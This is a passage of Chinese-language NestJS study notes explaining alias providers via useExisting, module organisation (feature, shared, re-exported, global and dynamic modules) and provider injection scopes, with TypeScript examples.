    databaseConnectionFactory,
    // 可以在这里提供 LOGGER_SERVICE，例如：
    // { provide: 'LOGGER_SERVICE', useClass: LoggerService },
  ],
})
export class AppModule {}
```

* `ConfigService` 是必需的依赖，提供数据库配置。
* `LoggerService` 被声明为可选依赖。如果它被注册在模块中，则会被注入到工厂函数中，用于记录日志；否则，参数 `loggerService` 的值为 `undefined`。
* 工厂函数根据是否传入 `loggerService` 来决定是否记录日志。

## 别名提供者：useExisting

`useExisting` 语法允许为现有提供者创建别名，这样我们就可以通过多个令牌访问同一个提供者实例。这在重构、接口隔离和向后兼容等场景中非常有用。

**基本语法和原理**

```typescript
const aliasProvider = {
  provide: 'ALIAS_TOKEN',  // 新的令牌
  useExisting: ExistingService, // 现有的提供者令牌
};
```

**演示**

```ts
import { Module, Injectable, Inject } from '@nestjs/common';

@Injectable()
class LoggerService {
  private logs: string[] = [];

  log(message: string) {
    const timestamp = new Date().toISOString();
    const logEntry = `[${timestamp}] ${message}`;
    this.logs.push(logEntry);
    console.log(logEntry);
  }

  getLogs() {
    return this.logs;
  }
}

// 为 LoggerService 创建别名提供者
const loggerAliasProvider = {
  provide: 'AliasedLoggerService', // 字符串令牌别名
  useExisting: LoggerService,      // 指向原有的类令牌
};

// 可以创建多个别名
const anotherLoggerAlias = {
  provide: 'SimpleLogger',
  useExisting: LoggerService,
};

@Injectable()
class UserService {
  constructor(
    private readonly logger: LoggerService, // 使用类令牌注入
    @Inject('AliasedLoggerService')
    private readonly aliasedLogger: LoggerService, // 使用别名注入，实际上是同一个实例
  ) {}

  createUser(username: string) {
    this.logger.log(`Creating user: ${username}`);
    this.aliasedLogger.log(`User created via alias: ${username}`);
    
    // 验证它们是同一个实例
    console.log('Are they the same instance?', this.logger === this.aliasedLogger);
    
    return { id: 1, username };
  }
}

@Injectable()
class OrderService {
  constructor(
    @Inject('SimpleLogger')
    private readonly logger: LoggerService, // 使用另一个别名注入
  ) {}

  createOrder(orderId: string) {
    this.logger.log(`Creating order: ${orderId}`);
    return { id: orderId, status: 'created' };
  }
}

@Module({
  providers: [
    LoggerService,           // 原始提供者
    loggerAliasProvider,     // 第一个别名
    anotherLoggerAlias,      // 第二个别名
    UserService,
    OrderService,
  ],
})
export class AppModule {}
```

**实际应用场景**

**向后兼容性**

当重构服务类名时，可以为旧名称创建别名以保持兼容：

```ts
// 重构前的服务
@Injectable()
class OldLoggerService {
  log(message: string) {
    console.log(`OLD: ${message}`);
  }
}

// 重构后的服务
@Injectable()
class NewLoggerService {
  log(message: string) {
    console.log(`NEW: ${message}`);
  }
}

// 保持向后兼容的别名
const backwardCompatibilityProvider = {
  provide: 'OldLoggerService',
  useExisting: NewLoggerService,
};

@Module({
  providers: [
    NewLoggerService,
    backwardCompatibilityProvider,
  ],
})
export class AppModule {}
```

**接口隔离**

为同一个服务提供不同的"视图"或接口：

```ts
// 主服务实现
@Injectable()
class DataService {
  private data: Map<string, any> = new Map();

  set(key: string, value: any) {
    this.data.set(key, value);
  }

  get(key: string) {
    return this.data.get(key);
  }

  getAll() {
    return Array.from(this.data.entries());
  }
}

// 只读接口的别名
const readOnlyDataProvider = {
  provide: 'ReadOnlyDataService',
  useExisting: DataService,
};

@Injectable()
class ReportService {
  constructor(
    @Inject('ReadOnlyDataService')
    private readonly dataService: DataService, // 实际上只能使用读取方法
  ) {}

  generateReport() {
    // 只能调用 get() 和 getAll() 方法
    const allData = this.dataService.getAll();
    return `Report: ${JSON.stringify(allData)}`;
  }
}
```

**多环境配置**

为不同环境提供相同的服务但不同的配置：

```ts
@Injectable()
class ConfigService {
  constructor(private readonly environment: string) {}

  getDatabaseConfig() {
    if (this.environment === 'production') {
      return { host: 'prod-db', port: 5432 };
    }
    return { host: 'localhost', port: 5432 };
  }
}

// 开发环境配置别名
const devConfigProvider = {
  provide: 'DevConfigService',
  useExisting: ConfigService,
};

// 生产环境配置别名
const prodConfigProvider = {
  provide: 'ProdConfigService', 
  useExisting: ConfigService,
};

@Module({
  providers: [
    {
      provide: ConfigService,
      useFactory: () => new ConfigService(process.env.NODE_ENV || 'development'),
    },
    devConfigProvider,
    prodConfigProvider,
  ],
})
export class AppModule {}
```

**验证单例行为**

```typescript
@Injectable()
class VerificationService {
  constructor(
    private readonly logger1: LoggerService,
    @Inject('AliasedLoggerService')
    private readonly logger2: LoggerService,
    @Inject('SimpleLogger') 
    private readonly logger3: LoggerService,
  ) {
    // 验证所有别名都指向同一个实例
    console.log('logger1 === logger2:', logger1 === logger2); // true
    console.log('logger1 === logger3:', logger1 === logger3); // true
    console.log('logger2 === logger3:', logger2 === logger3); // true
    
    // 验证它们共享状态
    logger1.log('Message from logger1');
    console.log('logger2 logs:', logger2.getLogs()); // 包含上面的消息
    console.log('logger3 logs:', logger3.getLogs()); // 包含上面的消息
  }
}
```

---

---
url: /nest/tyhraucu/index.md
---
# 模块
## 模块{#modules}

模块是一个用 `@Module()` 装饰器标注的类。这个装饰器提供了 Nest 用于组织和管理应用结构的元数据，用于**聚合相关的 controller、service、provider 等组件**。

`@Module()` 并不执行任何逻辑，它只是告诉 Nest “这个类是个模块，模块里有谁”。

每个 Nest 应用至少有一个模块，即**根模块（Root Module）**，它是 Nest 构建“应用依赖图”的起点。Nest 内部会基于这个模块图来解析模块之间的依赖关系。

应用的 `AppModule` 就是根模块（`main.ts` 中会传给 `NestFactory.create(AppModule)`）；

Nest 会从这里出发，自动“扫描”其他模块、控制器、服务，构建出完整的“依赖图”

![](https://nest.nodejs.cn/assets/Modules_1.png){title=路片来自nest.nodejs.cn no-zoom}

虽然小型应用可能只有一个模块，但 Nest **强烈建议**按功能拆分多个模块，每个模块封装一组紧密相关的功能。

```ts
@Module({
  imports: [OtherModule],
  controllers: [CatsController],
  providers: [CatsService],
  exports: [CatsService],
})
```

| 字段          | 作用                                                 | 实战说明                   |
| ------------- | ---------------------------------------------------- | -------------------------- |
| `providers`   | 注册服务/值/工厂等提供器，供模块内部使用             | 类似依赖注入容器的“注册表” |
| `controllers` | 控制器列表，Nest 会自动创建并路由这些控制器          | 只能放控制器类             |
| `imports`     | 导入其他模块，以便使用它们导出的 provider            | 实现模块之间通信和依赖     |
| `exports`     | 把本模块中某些 provider 显式暴露出去，供其他模块使用 | 类似“公共接口”或模块的 API |

模块默认是**封闭的（encapsulated）**，你无法直接使用其他模块中的服务，除非它们被**导出**（export）了。

**错误用法**：

```ts
@Module({
  providers: [AuthService],
})
export class AuthModule {}
```

```ts
@Module({
  imports: [AuthModule],
})
export class UserModule {
  constructor(private authService: AuthService) {} // 注入失败！AuthService 没有被导出
}
```

**正确用法**：

```ts
@Module({
  providers: [AuthService],
  exports: [AuthService], // 显式导出
})
export class AuthModule {}
```

## 功能模块{#feature-modules}

**功能模块**就是把某一“业务域”相关的 controller、service、DTO、entity、interface 等**封装进一个独立模块**；

它体现了 **单一职责原则（SOLID 原则中的 S）**，每个模块只负责自己的功能，耦合更低、可维护性强。

示例：

创建一个`CatsModule`

```ts
// cats/cats.module.ts
import { Module } from '@nestjs/common';
import { CatsController } from './cats.controller';
import { CatsService } from './cats.service';

@Module({
  controllers: [CatsController],
  providers: [CatsService],
})
export class CatsModule {}
```

该模块聚合了 **CatsController + CatsService**

它没有**导出**任何 provider，因为目前只在模块内部使用；

未来如果其他模块需要用 `CatsService`，再通过 `exports: [CatsService]` 显式导出。

**提示**：用 CLI 快速生成模块

```bash
nest g module cats
```

这条命令自动创建了 `cats/cats.module.ts`，推荐用 CLI 快速生成基础结构，保持规范一致。

接入根模块（AppModule）

```ts
// app.module.ts
import { Module } from '@nestjs/common';
import { CatsModule } from './cats/cats.module';

@Module({
  imports: [CatsModule],
})
export class AppModule {}
```

你必须在根模块中 `imports` 引入你的功能模块，Nest 才能“识别”并注册它；

一旦引入，`CatsModule` 内的 controller 和 provider 就会被自动扫描并初始化；

Nest 从 `AppModule` 出发构建模块依赖图，**不 import 就不生效**。

**最终目录结构示意**

```ts
src/
├── cats/
│   ├── dto/
│   │   └── create-cat.dto.ts
│   ├── interfaces/
│   │   └── cat.interface.ts
│   ├── cats.controller.ts
│   ├── cats.module.ts
│   └── cats.service.ts
├── app.module.ts
└── main.ts
```

## 共享模块{#shared-modules}

在 Nest 中，默认情况下模块是单例，因此你可以轻松地在多个模块之间共享任何提供程序的同一实例。

默认应用中只创建一个实例，整个生命周期共用，所以，只要模块正确导出，**其他模块可以共享这个服务的同一个实例**，而不是重复创建；

这也正是依赖注入的一个核心优势：**统一生命周期管理 + 状态共享 + 内存复用**。

**示例：导出共享服务**

```ts
@Module({
  controllers: [CatsController],
  providers: [CatsService],
  exports: [CatsService], // 导出 CatsService
})
export class CatsModule {}
```

NestJS 模块是封闭的，**不导出 = 其他模块看不到**，只有被 `exports` 的 provider，**才可以被 import 此模块的其他模块访问到**，想象成模块是一个类，`exports` 就是它的对外公共 API。

**示例：使用共享服务**

```ts
// cats.module.ts 定义 + 导出
@Module({
  providers: [CatsService],
  exports: [CatsService], // 关键！导出，否则其他
})
export class CatsModule {}
```

```ts
// app.module.ts 导入 CatsModule
@Module({
  providers: [AppService],
  imports: [CatsModule],
})
export class AppModule {}
```

```ts
// app.service.ts 注入共享服务
@Injectable()
export class AppService {
  constructor(private readonly catsService: CatsService) {
    // 此处注入成功，因为 CatsService 是从 CatsModule 导出的
  }
}
```

如果我们在每个模块中都重新注册 `CatsService`，每个模块会得到一个新的实例，造成：

* 更多内存开销（多个实例驻留内存）；
* 共享状态不一致（例如缓存、计数器、配置状态）；
* 行为变得不可预测（你以为是单例，其实不是）；

所以除非你明确需要服务是“请求级”、“瞬态”、“隔离的”，否则共享单例是推荐做法。

**共享模块的两个关键条件**

| 条件                                  | 解释                                             |
| ------------------------------------- | ------------------------------------------------ |
| 1️⃣ 被导出（`exports: [Service]`）      | 告诉 Nest 哪些服务可供外部模块使用               |
| 2️⃣ 被导入（`imports: [SharedModule]`） | 其他模块必须显式引入该模块才能使用其中导出的服务 |

**注意**：

```ts
@Module({
  providers: [CatsService], // 在多个模块都这样写
})
export class DogsModule {}
```

这样会让 `DogsModule` 拿到的是自己的 `CatsService` 实例，和其他模块的不一致，因为此处又重新注册了一个 `CatsService` 实例。

**共享模块 = 导出可复用的服务，供多个模块共享一个实例使用**，这是 NestJS 的依赖注入和模块系统的最大优势之一。

## 模块重新导出{#module-re-exporting}

如上所示，模块可以导出其内部提供程序。此外，它们还可以**重新导出它们所导入的模块**。

在下面的示例中，`CommonModule` 被导入到 `CoreModule` 中，然后又从 `CoreModule` 导出，使得**导入 `CoreModule` 的其他模块也能访问 `CommonModule` 的导出内容**。

```ts
@Module({
  imports: [CommonModule],
  exports: [CommonModule],
})
export class CoreModule {}
```

![](https://pimg.yumgjs.com/2025-07-11%2F170710.png)

**重新导出**可以理解为在模块之间建立「服务转发通道」：**A 模块导入了 B 模块，并在自己的 exports 中再次导出 B 模块**，那今后**任何导入 A 模块的模块，也可以访问 B 模块导出的 provider**，就像直接导入了 B 一样。

这就是所谓的 **re-export（再导出）**。

这样做通常是为了 **模块解耦、逻辑清晰**，假设你有一个通用模块 `CommonModule`，里面封装了全局日志服务、异常处理器、转换管道等 ，所有模块都要用：

```ts
@Module({
  providers: [LoggerService, TransformPipe],
  exports: [LoggerService, TransformPipe],
})
export class CommonModule {}
```

现在你又有个中间模块 `CoreModule`，它希望把所有「基础依赖」统一打包、暴露出去：

```ts
@Module({
  imports: [CommonModule],
  exports: [CommonModule], // 再导出 CommonModule
})
export class CoreModule {}
```

这样你就可以在别的模块里**只导入 CoreModule**，而不再关心里面用了哪些 Common 组件：

```ts
@Module({
  imports: [CoreModule], // 一次性拿到所有底层依赖
})
export class FeatureModule {}
```

**实战建议**

```ts
// common.module.ts
@Module({
  providers: [LoggerService, ExceptionFilter],
  exports: [LoggerService, ExceptionFilter],
})
export class CommonModule {}
```

```ts
// core.module.ts
@Module({
  imports: [CommonModule],
  exports: [CommonModule], // 再导出
})
export class CoreModule {}
```

```ts
// users.module.ts
@Module({
  imports: [CoreModule], // 需要知道 CommonModule 存在
})
export class UsersModule {}
```

✅ 好处：使用者只依赖 `CoreModule`，不关心它内部封装了什么模块；
✅ 模块边界清晰，团队协作更流畅，结构也更稳固。

**模块“重新导出”是构建稳定依赖体系的关键工具**，让你可以隐藏实现细节、合并多个通用模块，并通过一个出口统一暴露依赖，尤其适合构建「核心模块」「平台模块」「中间件模块」等公共中转结构。

**模块重新导出（Re-export）的本质**：就是把一堆零散的服务（或模块）封装打包后，通过一个模块统一暴露出去，方便**批量引入 & 隐藏细节**。

**场景对应关系表**

| 想做的事             | 常规做法（麻烦）                                             | 推荐做法（re-export）                                        |
| -------------------- | ------------------------------------------------------------ | ------------------------------------------------------------ |
| 引入多个基础服务     | 在每个模块中 `imports: [CommonModule, LoggerModule, ConfigModule]` | 在 `CoreModule` 中统一导入再导出它们，然后只引入 `CoreModule` |
| 暴露一组内部 Service | 在每个功能模块里分别导出这些服务                             | 把它们集中放在一个 SharedModule 或 CoreModule，统一 export   |

```ts
// 你项目中有多个底层模块：

[ConfigModule]
[LoggerModule]
[ExceptionModule]

// 在 CoreModule 中统一 re-export：

@Module({
  imports: [ConfigModule, LoggerModule, ExceptionModule],
  exports: [ConfigModule, LoggerModule, ExceptionModule],
})
export class CoreModule {}

// 别的模块只 import CoreModule，就能使用它们全部的 Service：
```

```ts
@Module({
  imports: [CoreModule], // 一次搞定全部依赖
})
export class UsersModule {}
```

Re-export 让你可以只 import 一个模块，就像 import 了多个服务/模块一样，不仅省事，还能封装依赖、保持结构整洁，是大型 Nest 应用架构的“标配手段”。

## 依赖注入{#dependency-injection}

模块类（`@Module()`装饰的类）能否使用依赖注入（DI）

模块类也可以注入提供程序（例如，出于配置目的）：

```ts
import { Module } from '@nestjs/common';
import { CatsController } from './cats.controller';
import { CatsService } from './cats.service';

@Module({
  controllers: [CatsController],
  providers: [CatsService],
})
export class CatsModule {
  constructor(private catsService: CatsService) {}
}
```

表面上看，这是把 `CatsService` 注入进了 `CatsModule`，但实际上，这**并不是一个有效的 Nest 注入行为**。

由于循环依赖，模块类本身**不能作为提供器注入**。

NestJS 的模块类（如 `CatsModule`）：

* **不会自动成为 provider**；
* **不会被 Nest 注入器处理**（Nest 不会去调用它的 constructor 并解析依赖）；
* 所以你在 `constructor()` 里声明任何依赖项，也**不会真的注入任何东西**，也不会报错，但你拿到的会是 `undefined`。

**为什么模块类不能注入依赖**？

从设计上讲，**模块类只是一个“配置容器”**，是用来告诉 Nest 这个模块有哪些 provider、controller、import/export 的。

它并不是运行时参与逻辑的实例，所以 Nest 根本就不会去「实例化模块类并注入依赖」，否则容易出现下面的问题：

经典的**循环依赖场景**：

* 你在模块里注入了某个服务；
* 而该服务又在自己的构造函数中依赖这个模块（或其导出的其他服务）；
* 那么就形成循环依赖：模块 → 服务 → 模块。

Nest 解决这类问题的策略就是——**模块类不参与依赖注入**，彻底切断这条循环链。

**那么什么时候需要在类中注入服务**？

| 类类型                               | 是否允许注入依赖？ | 说明                        |
| ------------------------------------ | ------------------ | --------------------------- |
| `@Injectable()` 的类（比如 Service） | ✅ 是               | Nest 会自动构造并注入       |
| `@Controller()` 的类                 | ✅ 是               | 控制器也被 Nest 管理        |
| `@Pipe()`、`@Guard()` 等 provider    | ✅ 是               | 都可以注入依赖              |
| `@Module()` 的类（模块类）           | ❌ 否               | 它不是 provider，不参与注入 |

**如果你真的需要“模块初始化行为”怎么办**？

1.使用生命周期钩子 `onModuleInit() `推荐

```ts
@Injectable()
export class CatsService implements OnModuleInit {
  onModuleInit() {
    console.log('CatsService 已初始化完成');
  }
}
```

这种方式只适用于 provider，不适用于模块类。

2.使用自定义 provider + 工厂函数（更灵活）

```ts
@Module({
  providers: [
    {
      provide: 'CONFIG_INITIALIZER',
      useFactory: (catsService: CatsService) => {
        catsService.setupSomething();
      },
      inject: [CatsService],
    },
  ],
})
export class CatsModule {}
```

这种方式你可以在模块内部执行初始化逻辑，但逻辑发生在 provider 初始化阶段。

**模块类本身不参与依赖注入，它只是一个元数据容器**。如果你需要执行初始化逻辑，应该写在 provider（service）中，通过生命周期钩子或工厂函数来实现。

[生命周期钩子的两种写法](../小记/2.nest-practice-tip.md#生命周期钩子的两种写法)

## 全局模块{#global-modules}

如果你必须在所有地方导入相同的模块集合，这种重复操作会变得乏味。

Nest 将提供程序封装在模块作用域内，只有在导入了该模块的情况下，其他模块才能使用其提供的服务。

当你想要提供一组“开箱即用”的提供程序（例如辅助工具、数据库连接等）时，可以使用 `@Global()` 装饰器将模块设置为全局模块。

```ts
import { Module, Global } from '@nestjs/common';
import { CatsController } from './cats.controller';
import { CatsService } from './cats.service';

@Global()
@Module({
  controllers: [CatsController],
  providers: [CatsService],
  exports: [CatsService],
})
export class CatsModule {}
```

`@Global()` 装饰器让该模块变成全局模块。
全局模块应该只注册一次，通常由根模块或核心模块注册。
在上面的例子中，`CatsService` 将变成应用中的全局单例，任何模块都可以注入它而**无需在自己的 `imports` 数组中导入 `CatsModule`**。

**全局模块的意义**

* 避免在每个需要的模块中都重复导入相同的基础模块（例如数据库模块、配置模块、日志模块等）。
* 使核心服务变成全局可用，简化模块依赖配置。

**设计建议**

* 不建议**所有模块都全局化**，否则模块间依赖关系混乱、耦合度高，难以维护。
* 推荐仅将那些**真正需要全局共享的核心服务**设为全局模块。
* 对于其他服务，仍然应通过模块显式导入保持清晰的边界和结构。

**实际使用场景示例**

```ts
@Global()
@Module({
  providers: [DatabaseService],
  exports: [DatabaseService],
})
export class DatabaseModule {}
```

```ts
@Module({
  imports: [DatabaseModule], // 只在根模块或核心模块导入一次
})
export class AppModule {}
```

这样，`DatabaseService` 在应用所有其他模块中都是可用的，无需重复导入 `DatabaseModule`。

只需在应用的**根模块或核心模块**导入一次全局模块即可。

其他模块**不需要导入**，但仍可通过依赖注入使用全局服务。

如果你重复导入了全局模块，不会创建新的实例，依然是单例。

`@Global()` 装饰器能将模块标记为全局模块，使其导出的服务自动对整个应用可见，无需重复导入。
这极大减少了重复导入的样板代码，提升了开发效率。
但过度使用全局模块会带来耦合和维护成本，建议谨慎使用，保持模块边界清晰。

## 动态模块{#dynamic-modules}

**动态模块** = **运行时按需生成的模块**，支持基于传入参数（如配置或实体）动态构造 providers、exports，适合封装「数据库连接」「缓存模块」「多租户模块」这类高度可配置的通用能力。

Nest 中的动态模块允许你创建**可以在运行时配置的模块**。

* 静态模块：代码写死，`@Module({ ... })` 中的 providers 是固定的。
* 动态模块：代码运行时动态生成，**按需返回不同的模块结构**。

示例：数据库模块的 `forRoot()`

```ts
@Module({
  providers: [Connection],
  exports: [Connection],
})
export class DatabaseModule {
  static forRoot(entities = [], options?): DynamicModule {
    const providers = createDatabaseProviders(options, entities);
    return {
      module: DatabaseModule,
      providers: providers,
      exports: providers,
    };
  }
}
```

* `forRoot()` 是一个**静态工厂方法**，返回一个 `DynamicModule` 对象；
* 这个对象中可以包含一切动态元信息：module、providers、exports；
* 可以根据传入的 `entities` 和 `options` 构造不同的 providers；
* 用法像这样：

```ts
@Module({
  imports: [DatabaseModule.forRoot([User])],
})
export class AppModule {}
```

这样就能针对 AppModule 的需求动态定制数据库服务内容。

动态模块还能全局注册（慎用）

```ts
return {
  global: true,
  module: DatabaseModule,
  providers: [...],
  exports: [...],
};
```

全局模块 + 动态模块 = 所有模块都能用它，无需 imports；
但 Nest 官方明确提示：**慎用 global 模块**，防止模块耦合失控。

**动态模块可以被其他模块重新导出**

```ts
@Module({
  imports: [DatabaseModule.forRoot([User])],
  exports: [DatabaseModule], // 注意：这里 exports 是模块名，不是 forRoot()
})
export class AppModule {}
```

Nest 会自动**透传**动态模块返回的 providers 和 exports，你不需要手动导出 `forRoot()`。

| 概念             | 说明                                                         |
| ---------------- | ------------------------------------------------------------ |
| `forRoot()`      | 通常用于返回配置好的动态模块（同步）                         |
| `forRootAsync()` | 异步配置版本，适用于从 configService 获取参数                |
| `DynamicModule`  | Nest 的“可编程模块结构”接口                                  |
| 适用场景         | 数据库、Redis、MQ、ConfigService、多租户等“需传参初始化”的模块 |

**动态模块**让你可以把复杂、可配置的能力（如数据库）封装成“灵活工厂”，使用时传参自动生成配置好的模块，既复用代码，又保持模块化。

---

---
url: /nest/ylhwjrd4/index.md
---
# 单例模式和请求级作用域
## 注入作用域{#injection-scopes}

对于来自不同编程语言背景的开发者来说，Nest 中几乎所有内容在请求之间都是共享的，这可能让人意外。比如，我们通常使用数据库连接池或带有全局状态的单例服务。请记住，Node.js 不同于传统多线程无状态请求/响应模型，在 Node.js 中，所有请求由单线程事件循环处理，因此使用单例实例在大多数情况下是安全且高效的。

不过，在某些特殊场景下，基于请求生命周期的服务行为是必须的，例如 GraphQL 应用中的每请求缓存、请求追踪以及多租户支持。注入作用域机制允许我们为提供者指定不同的生命周期，从而满足这些需求。

## 提供器作用域{#provider-scope}

NestJS 中的提供者 (Provider) 是通过依赖注入机制被应用系统管理的类实例。

Nest 提供 **3 种作用域 (Scope)** ：

| Scope 类型         | 生命周期       | 是否共享           | 适用场景           |
| ------------------ | -------------- | ------------------ | ------------------ |
| `DEFAULT` (单例)   | 应用启动时     | 是，全应用共享     | 配置服务，DB连接池 |
| `REQUEST` (请求级) | 每个请求开始时 | 不，各请求独立存在 | 多租户，访问追踪   |
| `TRANSIENT` (瞬态) | 每次注入时     | 不，每次新建       | 简单静态计算       |

* **DEFAULT** ：提供程序的单个实例在整个应用中共享。实例生命周期与应用生命周期直接相关。应用启动后，所有单例提供程序都已实例化。默认情况下使用单例作用域。
* **REQUEST** ：专门为每个传入的**请求**创建一个新的提供程序实例。请求完成处理后，该实例将被垃圾回收。
* **TRANSIENT** ： 临时提供器不在消费者之间共享。每个注入临时提供器的消费者都将收到一个新的专用实例。

对于大多数用例，建议使用单例范围。跨消费者和跨请求共享提供器意味着一个实例可以被缓存并且它的初始化只发生一次，在应用启动期间。

**各作用域解析**

**DEFAULT （单例）**

```ts
@Injectable() // 等同于 @Injectable({ scope: Scope.DEFAULT })
export class ConfigService {
  private readonly options = loadConfig();
  get(key: string) {
    return this.options[key];
  }
}
```

**特性：**

* Nest 应用启动时初始化一次，全应用共享
* 适合无状态服务：日志、配置、DB 连接池
* 性能最优，内存占用最低

**风险：**

* 不适合保存请求级状态（如 currentUser）
* 如果不小心使用全局变量保存状态，容易造成跨请求数据乱用

**REQUEST （请求级）**

```ts
@Injectable({ scope: Scope.REQUEST })
export class UserContextService {
  private userId: string;
  setUser(id: string) {
    this.userId = id;
  }
  getUserId() {
    return this.userId;
  }
}
```

**特性：**

* Nest 会为每个请求单独创建实例
* 适用于需要独立保存请求信息的场景
* 支持 GraphQL的 dataloader 隔离

**缺点：**

* 性能有所损耗（每次请求都会创建新实例）
* \~~不能被单例服务注入~~，~~否则会报错~~（会因为冒泡机制把单例也变为请求级）

**TRANSIENT （瞬态）**

```ts
@Injectable({ scope: Scope.TRANSIENT })
export class CalculatorService {
  getTimestamp() {
    return Date.now();
  }
}
```

**特性：**

* 注入谁，创建新实例，不保存
* 适合需要定制独立计算的场景
* 少量场景使用，性能费用最高

**实际场景指南**

| 场景               | 推荐 Scope | 说明                               |
| ------------------ | ---------- | ---------------------------------- |
| 配置服务           | DEFAULT    | 无状态，启动初始化一次             |
| 日志服务           | DEFAULT    | 无状态，日志打印都共用一个实例     |
| 用户上下文         | REQUEST    | 需要请求隔离，各自存储 currentUser |
| GraphQL dataloader | REQUEST    | 各请求独立 cache                   |
| 简单事务计算       | TRANSIENT  | 每次注入都要新建实例               |

**最佳实践**

1. 默认使用 **DEFAULT** (单例)，最简单高效
2. 有明确隔离需求时，使用 **REQUEST**
3. \~~禁止单例服务注入 request 级服务，NestJS 会报错~~
4. 若需传递 request 上下文，使用 `@Inject(REQUEST)`

**行为对比**

| 维度      | DEFAULT (单例) | REQUEST (请求级) | TRANSIENT (瞬态) |
| --------- | -------------- | ---------------- | ---------------- |
| 性能      | 高             | 中               | 最低             |
| 内存      | 最低           | 中               | 最高             |
| 缓存/保存 | 是             | 是（同请求内）   | 否               |
| 隔离性    | 否             | 是               | 是               |
| 适用场景  | DB连接池/配置  | 用户上下文/trace | 注入时加工       |

能用单例，尽量用单例，有需求隔离时，用 REQUEST ，较简单而静态，瞬态并非常用，主要用于特殊场景，不推荐普遍使用。

**同一个请求内创建的所有 `REQUEST` 作用域服务实例是共享的**。

Nest 会为每个传入请求创建一个 **独立的“请求上下文容器”**，该容器内的 `REQUEST` 作用域服务实例会被缓存。如果多个服务或控制器在同一个请求中依赖同一个 `REQUEST` 作用域的服务，它们会接收到 **相同的实例**，从而实现数据共享。

**示例**

```ts
@Injectable({ scope: Scope.REQUEST })
export class RequestContextService {
  private requestId = uuid();
  getRequestId() {
    return this.requestId;
  }
}
```

```ts
@Controller()
export class SomeController {
  constructor(private readonly ctx: RequestContextService) {}

  @Get()
  handle() {
    return this.ctx.getRequestId(); // 每次请求生成的新 ID
  }
}
```

```ts
@Injectable()
export class AnotherService {
  constructor(private readonly ctx: RequestContextService) {}

  logRequest() {
    console.log(this.ctx.getRequestId()); // 同一个请求中和 Controller 得到的是同一个 ID
  }
}
```

只要这两个类都是处理 **同一请求** 的，它们拿到的是 **同一个 RequestContextService 实例**。

注意：

**不同请求之间的数据不会共享**

单例作用域（`DEFAULT`）服务不能依赖注入 `REQUEST` 服务，~~否则 Nest 会报错~~（因为生命周期不兼容，会因为冒泡机制把单例也变为请求级）

```ts
// ❌ 错误用法：默认作用域（单例）注入请求级作用域
@Injectable()
export class SingletonService {
  constructor(private readonly ctx: RequestContextService) {}
}

// Error: Nest can't resolve dependencies of the SingletonService (?). Please make sure that the argument at index [0] is available...
```

正确做法：将 `AnotherService` 也声明为 `REQUEST` 作用域

若需要在单例中访问请求信息，应使用 `@Inject(REQUEST)` 注入 Express 的 Request 对象，但：

* **该方法仅限访问原始请求数据**，如 headers、query、params、body、IP、user 等（即从 HTTP 请求中解析的基础信息）
* **不能通过这种方式访问 Nest 管理的请求级服务实例**，例如 `UserContextService`。这是因为这些服务是由 Nest 基于请求上下文容器动态创建和管理的，只有声明为 `REQUEST` 作用域的类中才能通过构造函数注入得到它们。
* 简单理解：你可以拿到“请求数据”，但拿不到“跟这个请求绑定的 Nest 服务”

**总结**

* 🚫 **单例服务永远不应该“知道”请求级状态**
* ✅ **请求状态应由控制器或请求服务掌握并向下传**
* 🧠 **职责清晰、状态隔离是框架设计的底线**
* ⚠️ Nest 强制禁止的，其实就是你业务逻辑上本不该做的

**实际场景**：如果某个单例服务内部需要用到当前请求级数据（如当前用户 ID），该怎么办？

错误方式：

```ts
@Injectable()
export class SingletonService {
    constructor(private readonly userCtx: UserContextService) {} // ❌ 直接注入请求级服务，Nest 启动时报错
}
```

正确做法：**由调用者在同一个请求中，将数据“向下传”给单例服务**

也就是说，请求级数据不要让服务自己“去找”，而是由请求上下文**的上层代码传下去**（类似函数参数的方式）

示例：

```ts
// ✅ 单例服务，不知道请求，也不依赖请求服务
@Injectable()
export class LoggerService {
  log(message: string, traceId: string) {
    console.log(`[${traceId}] ${message}`);
  }
}
```

```ts
// ✅ 请求级服务：知道当前 traceId
@Injectable({ scope: Scope.REQUEST })
export class RequestContextService {
    private traceId: string;
    setTraceId(id: string) {
        this.traceId = id;
    }
    getTraceId() {
        return this.traceId;
    }
}
```

```ts
// ✅ 控制器中协调：读取请求级数据，传给单例服务
@Controller()
export class AppController {
    constructor(
    private readonly ctx: RequestContextService,
     private readonly logger: LoggerService
    ) {}

    @Get()
    handle() {
        const traceId = this.ctx.getTraceId();
        this.logger.log('处理完成', traceId);
        return 'OK';
    }
}
```

| 错误方式                                 | 正确方式                         |
| ---------------------------------------- | -------------------------------- |
| ❌ 服务自己注入另一个生命周期不一致的服务 | ✅ 上层读取后传参                 |
| ❌ 单例服务想“偷”请求状态                 | ✅ 请求级服务调用单例时传递状态值 |

**“在一个请求中同时使用单例和请求级服务” 是允许的、也是常态。**
关键是：**单例不要去“注入”请求级服务，而是由请求路径控制谁调用谁、谁传值给谁。**

**实战建议**

| 学到的知识       | 实战中该怎么用                                               |
| ---------------- | ------------------------------------------------------------ |
| 请求级作用域     | 理解原理即可，能不用就不用，参数传递更清晰                   |
| 依赖注入         | 习惯了就好，不用纠结底层实现，关注结构划分即可               |
| 装饰器元编程     | 有用时才写，过度封装会降低团队可读性                         |
| 生命周期与 scope | 在做大型系统时确实有价值，但不必在每个小项目都强行套上这些思维 |

## 用法{#usage}

你可以通过 `@Injectable()` 装饰器的参数选项来指定一个服务的注入作用域，例如将其声明为请求级（`Scope.REQUEST`）：

```ts
import { Injectable, Scope } from '@nestjs/common';

@Injectable({ scope: Scope.REQUEST })
export class CatsService {}
```

* `Scope.REQUEST`: 每个请求实例化一次，适用于需要请求隔离的场景
* `Scope.DEFAULT`: 默认值，表示全局单例（不写也默认是）
* `Scope.TRANSIENT`: 每次注入都会新建一个实例（更少使用）

**自定义提供者（Custom Provider）设置作用域**

除了使用 `@Injectable()` 方式，Nest 也支持**手动注册提供者**（custom provider）。这在你需要更灵活的方式注册某个类时使用，比如指定 `useClass` 或 `useFactory`。

这时作用域设置的写法如下：

```ts
 providers: [
    {
      provide: AppServiceREQUEST, // 提供者名称
      useClass: AppServiceREQUEST, // 提供者类
      scope: Scope.TRANSIENT, // 作用域
    }
 ]
```

这里等价于说：“我注册一个叫 `AppServiceREQUEST` 的服务，使用 `AppServiceREQUEST` 类来创建实例，每次注入都创建一个新实例（瞬态）。”

**特殊注意事项：WebSocket 与请求作用域不兼容**

WebSocket 网关（Gateway）**不能使用请求作用域的服务**，因为它本身是一个 **长期存在的单例对象**。

具体来说：

* WebSocket 是一个**长连接**协议，一个客户端连接可能存在很长时间；
